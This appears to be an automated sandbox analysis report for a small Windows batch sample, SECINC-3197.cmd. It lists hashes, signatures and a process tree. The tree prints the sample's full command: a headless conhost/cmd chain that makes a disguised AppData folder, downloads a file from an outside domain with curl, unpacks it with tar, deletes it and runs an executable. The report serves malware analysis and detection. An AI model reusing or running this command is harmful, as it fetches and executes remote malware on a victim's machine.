Analysis

  • user interaction
    yes
  • max time kernel
    26s
  • max time network
    4s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    19/05/2026, 23:14

General

  • Target
    SECINC-3197.cmd
  • Size 208B
  • Sample260519-277etsf12j
  • SHA256 58cae9f59eee52ef833595038e2231c4c31b66919626721da86b20b4f5487987
  • MD5 SHA1 SHA512 TLSH
Score
1/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SECINC-3197.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\WINDOWS\system32\conhost.exe
      "C:\WINDOWS\system32\conhost.exe" --headless cmd /c "md C:\Users\khachab\AppData\Roaming\Nuance\DLP&pushd C:\Users\khachab\AppData\Roaming\Nuance\DLP&curl -skLo t qiig7t2nzog.com/d&tar xf t&del t&mpextms.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\WINDOWS\system32\cmd.exe
        cmd /c "md C:\Users\khachab\AppData\Roaming\Nuance\DLP&pushd C:\Users\khachab\AppData\Roaming\Nuance\DLP&curl -skLo t qiig7t2nzog.com/d&tar xf t&del t&mpextms.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3880
        • C:\Windows\system32\curl.exe
          curl -skLo t qiig7t2nzog.com/d
          4⤵
            PID:4988
          • C:\Windows\system32\tar.exe
            tar xf t
            4⤵
              PID:1536

      Network

            MITRE ATT&CK Matrix

            Replay Monitor

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            Downloads

            t

            • Path C:\Users\khachab\AppData\Roaming\Nuance\DLP\t
            • Size 1.5MB
            • SHA256 8d58b78719bcec69aca2c8f36416a9a84c3a6ada40ccade6656f1c267a1ad5a8
            • MD5 SHA1 SHA512 SSDEEP TLSH